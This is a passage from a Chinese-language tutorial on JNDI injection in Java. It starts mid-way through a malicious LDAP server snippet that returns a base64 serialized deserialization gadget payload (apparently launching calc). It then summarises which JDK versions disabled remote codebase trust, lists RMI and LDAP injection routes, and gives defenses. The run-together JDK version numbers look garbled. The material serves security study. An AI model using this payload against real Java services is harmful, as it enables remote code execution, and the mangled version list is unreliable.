ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

和低版本JDK运行的Server端代码差不多,就把sendResult处的代码改成能触发反序列化漏洞的利用链就可以

总结

  • JDK 5U456U457u218u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  • JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  • JDK 11.0.18u1917u2016u211 开始 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制
但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase的限制。

所以,JNDI-RMI注入方式有: codebase(JDK 6u1327u1228u113之前可以) * 利用本地Class Factory作为Reference Factory

JNDI-LDAP注入方式: codebase(JDK 11.0.18u1917u2016u211之前可以) serialize(两个切入点)

防御

  • 使用最新的JDK版本
  • 将外部数据传入InitialContext.lookup()方法前先进行严格的过滤
  • 使用安全管理器时,需要仔细审计安全策略

参考链接:https://tttang.com/archive/1611/

https://goodapple.top/archives/696